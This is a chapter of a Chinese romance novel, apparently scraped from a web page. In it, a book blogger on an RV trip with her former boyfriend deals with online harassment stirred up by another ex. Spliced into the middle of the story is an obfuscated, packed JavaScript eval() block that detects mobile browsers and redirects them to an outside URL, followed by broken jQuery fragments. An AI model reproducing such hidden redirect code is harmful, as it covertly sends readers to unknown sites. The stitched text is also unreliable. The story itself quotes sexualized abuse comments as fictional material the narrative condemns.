天不亮景夏就醒了。
主要怪昨晚跳跃的梦,从第一个吻开始,到频繁往返两城的高铁线路,开始运营读书博主初期的焦头烂额,还有见不到面时电话里的柔声细语。
咖啡机增压萃取的嗡鸣将她拉回现实世界。
奇迹爬出狗窝,先撅屁股绷紧前腿,又向前塌腰伸直后腿,一通犬式拉伸后开始嘤嘤叫着要下车。
这里四下无人,景夏便打开车门让它先自己溜达,做好咖啡后才跟了下来。
草坪泥土湿软,她提起裤腿,放弃了随奇迹跑远的打算,绕至房车前去看轮子的情况。两车相接的空隙,视野骤然开阔,2/3杯的咖啡液面骤然摇摆。
远处,时樾侧身而立,指尖一点猩红明灭。
昨天那三位避雨的年轻人一点着烟,时樾便出声阻止,“麻烦灭一下,或者走远点再抽。”
此刻,他咬着烟,烟雾冲破雨后积聚的水汽袅袅而升。娴熟地吸了几口,他夹回指间,手机也换到这只手,腾出的左手用力揉捏低垂的后颈。不知道是因为燃着的香烟、因为雾气朦胧中极低的能见度还是因为他,画面颓唐阴郁。
一抹黑白身影闪过。奇迹解决掉生理问题,冲向时樾,激动地摇尾巴。时樾旋即向房车的方向看过来。
乍然对上视线,他肉眼可见地僵了下,然后徒手掐了烟。
景夏转身回到房车,开始做早餐。
过了好一阵,时樾出现在门口。他没上车,手里提了个狗子捡粑粑袋,“昨天绑好的垃圾袋在哪?”
景夏在毛巾上擦了擦手,从柜子下的空档提出来,松开松紧抽绳。扔进去的不止粑粑袋,还有一小袋烟头。她不由蹙眉,皱了下鼻子。
时樾立刻后退了好几步,提起T恤领子闻了闻,“不好意思。”
垃圾袋塞回去,景夏洗净手,把乘有鸡蛋培根三明治的木碟递给时樾,“早餐,喝咖啡吗?”
他谨慎吐字,“都行。”
“说人话。”
“不麻烦的话就喝。”
还未浮出地平线的太阳向头顶的钴蓝注入金色,昨天含羞遮面的远山轮廓分明,只有一层雨后薄雾沉在地表,风从金沙江面吹拂而过。那棵树静静矗立,灰绿和碧绿像融化的流体晃动着。
时樾吃得很快,喝得也很快,空杯空盘后便乖乖坐着。他们正朝东,当浅粉色朦胧雾气托起红日,他说:“《云彩收集者手册》里有一页,关于雾和霭。”
景夏扒门去够书和笔,翻到这一页。
【雾和霭的区别主要在于能见度不同。通常来说,在霭中能见度在1-2千米,而在雾中能见度不足1千米——雾只是霭的加厚版……除此之外,还有“上坡雾”“冰雾”和“锋面雾”。无论哪种雾,对于观云者来说,没有什么比置身于雾或霭中更接近云彩了。*】
她在观测栏写下7月29日。
坐了很久,景夏也吃完了早餐。时樾问:“什么时候出发?”
“再坐会。”
于是时樾去洗了杯盘。
阳光穿透雾气,将那水汽一层又一层削薄,视线所及之处越来越清晰。河流激荡的声响和蜿蜒至地平线尽头的金沙江一并出现。
景夏心情舒畅,“晴天。”
重新坐定的时樾没应。她奇怪地看他一眼,发现他眉头紧锁,神情阴郁,搭在膝盖上的手指神经质地敲个不停。
时间到了八点,金阮固定的早间电话来了,也揭晓了答案。
“你前任搞事了你知道不?”
景夏将手机从左边换到远离时樾的那边,“什么意思?”
“不是你旁边那个前前任,前任,宇宙无敌好男人摄影大V云森雨。”金阮语露讥讽。
景夏蹙眉,“他怎么了?”
“林森雨昨天发了一组风景图,ip也在云省。有人在评论q你,问他有没有关注最近的风波,他回复了一句:即使排除感情因素,我也站囤冰夏虫。她没做错什么。”
“……”景夏已然感觉不妙,“然后呢?”
“然后……这**网友脑壳都有坑!!!哎怎么从这一句话中解读出你是负心渣女他深情不忘啊!!!还说他去云省看似采风实则是担心你追随你,你不仅负心薄幸其实玩得花感情经历丰富,有些黑子嘴脏得要死还说、还说——”
“□□羞辱?”
“对!!!都**有病啊!!!”金阮气急,呼哧呼哧喘气,“恋爱分手都是你情我愿,凭啥这么区别对待啊!这个世界可不要太爱男!”
阳光柔和地照着放在桌上、用拇指指甲盖轮番压食指中指指腹的手。景夏冷笑了一声,“行,我知道了。”
“你手机卡不是拔了吗?林森雨昨晚电话打到我这了,说想和你聊聊,我把他臭骂了一顿。结果今早又打,执着得不行。你看……需不需要回一个。”
挂了电话,景夏犹豫了下后问:“手机能借一下吗?”她不想看自己账号里积压的私信。
时樾果断解锁,但递来的动作有些迟缓。
“已经看到了?”
“嗯。”
“那怎么不和我说?”景夏接过,刚要在搜索框输入云森雨,便看到下方显示的搜索记录。
云森雨,云森雨囤冰夏虫,囤冰夏虫恋情,囤冰夏虫被拍,囤冰夏虫近况……
景夏倏然看去,时樾眼神躲闪,但下颌角筋络暴起,后槽牙咬得很紧,“离谱评论太多,太恶心。不想让你看。”
用时樾的账号进自己的主页粗略翻了下,恶心已经是过于文雅的说法了。
昨晚发的书单分享下面,粗略一翻。
【题外话:该说不说,脸和身材还可以】
【兄弟吃点好的吧!】
【脸能有个9分,这飞机场5分不能更多。】
有人反驳:就事论事别上升到人身攻击。
却被回:染个蓝毛穿个xiong罩拍视频也不是啥正经人,谁知道私底下多乱,说两句咋了?
再一翻。
【别意淫了,一会给她看爽了。】
【爽多了估计索然无味了。】
【玩烂了。】
景夏即刻退出自己的主页,去看了眼云森雨昨晚发的帖子。五彩斑斓的树,浮萍涟漪,水上小屋,岁月静好。
置顶评论就是那条替她说话,回复是一众夸夸。
【在这种时候为前女友站台,云大够男人。】
【真替云大不值!】
【太不值了。云大分手这一年状态明显好很多,估计女的又作又渣。】
一刷新,这条帖子下的评论还在增加。
【云森雨1minago:大家理性上网,不要轻信谣言。我和夏虫和平分手,没那么多乱七八糟。】
底下新增回复belike——
【太体面了,还是太体面了。】
【还记得官宣分手的时候,云大发的那组图吗?】
【当然,那个醉酒视角,狗看了都心碎(而且夏虫隔天发了个《人都是要死的》推荐,嘲讽拉满】
景夏:?
她掰开自己的手机壳,电话卡倒在手上。
“要干什么?”时樾问。
景夏站起来,准备去车上找卡针,“回个电话。”
时樾一把拉住她的手腕,“用我的。”
“我要给——”
“云森雨。”时樾稍加用力,景夏就跌坐回椅子上,“用我的打。”
用前前任的手机给前任打电话。当这等魔幻事件发生,景夏还算强大的心脏都颤了几颤。她对照联系人输入手机号,拇指悬在拨号键上方久久摁不下去。
时樾骤然起身,“随便用,我去抽烟。”
说罢,迈着长腿向远处走去。先是大步流星,走出去十来米之后放慢脚步,最后停在了那棵树旁。并没有点烟。
“喂?”
景夏:“……”
那边笑了,“夏虫?”
“别再干涉我的事了,谢谢。”
奇迹追了过去,绕粗壮树干转了好几圈后捡了个木棍,缠时樾陪玩。男人蹲下,一手搭着膝盖,一手拽住木棍的一头。
奇迹做下犬式,兴冲冲地要用力拔河。
林森雨吊儿郎当地问:“你的新手机号?”
“不是,借的。你不要再——”
“你在哪呢?春城?丽江?香格里拉?”
景夏有点烦,“和你没关系。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276293|198260||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
林森雨不得寸也进尺,“一个人吗?要不咱俩一起?微信重新通过一些呗!”
“……我求你了别再公开发任何东西增加热度了好吗?!”压嗓低吼在空荡的谷间回响,远处时樾和奇迹同事回头看过来。
对面又是一声轻笑,“你说晚了,我刚在你的第四期自驾书单下面发了条评论。”
景夏啪地挂了电话,切掉app一看——
【云森雨:所有评判女性身材长相的恶臭男请原地去死。】
景夏被气得七窍冒烟恨不得穿过网线把他掐死。深吸气,深呼气,再深吸气,再深呼气……还是气得手抖,好巧不巧点到了右下角“我”。
ID:今天不下雨。
似曾相识的感觉。
景夏点开消息界面,当看到唯一一条已发出评论的时候,所有机缘巧合在此形成闭环。
【今天不下雨:北环友谊宠物医院,24小时开门,驾车20分钟左右能到。医生很敬业,门口好停车。】
“打完了吗?”声音几乎在耳边。
景夏在大脑反应过来前身体自动摁了锁屏,旋即察觉这举动多么做贼心虚,“咳,打完了……”然后把手机塞进时樾手里,此地无银三百两地补充,“我我就看了下评论,没看别的app。”
反正她也没说谎。
时樾双手连同手机塞进裤兜,“别的也可以,我这没什么是你不能看的。”
景夏吧唧咬住下嘴唇,没接话,也不知道怎么接。
“什么时候出发?”
“现在。”奇迹听到出发两个字就兴奋,一连旋转了好几圈。她摸摸小狗头,“走吧。”
时樾开车,景夏窝在副驾。
一大一小两辆连在一起的车从林间公路穿梭,阳光被分隔为寸缕,在前挡风玻璃投下光斑。
她看着前方树干之间左右蜿蜒的空隙,似乎什么都没想,又似乎想了很多。最后鼓起勇气登进自己的账号,删掉了林森雨的评论。
车速不快,抵达市区附近的房车营地时已过正午。营地不大,车也不多,时樾径直驶到里侧卫生间门口停下。
他去连上水管,扫码之后开水,回到车上,重重靠近椅背,“加完水你好好休息,我去市区买点东西。有什么需要的吗?”
蓝天白云被营地四周碧绿的酸角树掩了大半。景夏眯眼看他,“大晴天,怎么还这么抑郁?”
时樾偏头,神色如常,“没有。”但他坐姿紧绷,浓眉不自觉拧着。
景夏笑了笑,“刚做博主那会,我总担心自己说错话被网友骂。你和我说,网络看似是有实体的,比如我能从分享中获取成就感、快乐,甚至切实的经济回报。但这些改变不了它虚无缥缈的本质。如果被骂不开心,那就不做了,回到现实生活中我还是我,网友再怎么骂都没能耐插手现实生活。”
时樾沉默少顷,自嘲地笑了,“有够愚蠢。”
“嗯?”
“我低估了网络行为的极端性。”他胳膊搭着中控,手指又在神经质地敲着随行杯。敲了好一会,突然停了,恶狠狠:“ri他个仙人板板,尽搞些哈板事!”
好久没听过他说方言,还是骂人的方言,还是冷脸帅哥说方言。虽然此情此景不太合适但景夏还是笑出声来。
时樾嗔怪地看她一眼,“笑撒子嘛——”紧接着意识到自己的语言系统忘记切换,于是沉声,字正腔圆,“别笑了,我真想穿过网线弄死这群……”自动化消音之后又咬牙切齿,“我真的、我真的是——”
瞅着一直冷静自持的时樾炸毛,其杀伤力和奇迹离五十米冲一只柯基低吼差不多,倒是能让心情变好。她挥挥手,“没事,不看就完了。去看水加满没?”
时樾没动,又静坐了一阵,冷不丁说:“我也高估了自己。”
笑一笑松快了些,景夏后知后觉有点渴,于是端起随行杯咬住吸管,“嗯?”
“我以为无论怎么样,至少我能一直陪着你。”
吸管磕了牙,杯底和手都砸落在了腿面。她闭了闭眼,“是你提的分手,毫不留情。”
“……是啊。我走这一趟是为了赎罪,但你……千万别原谅我。”车身一晃,门从外用力甩上了。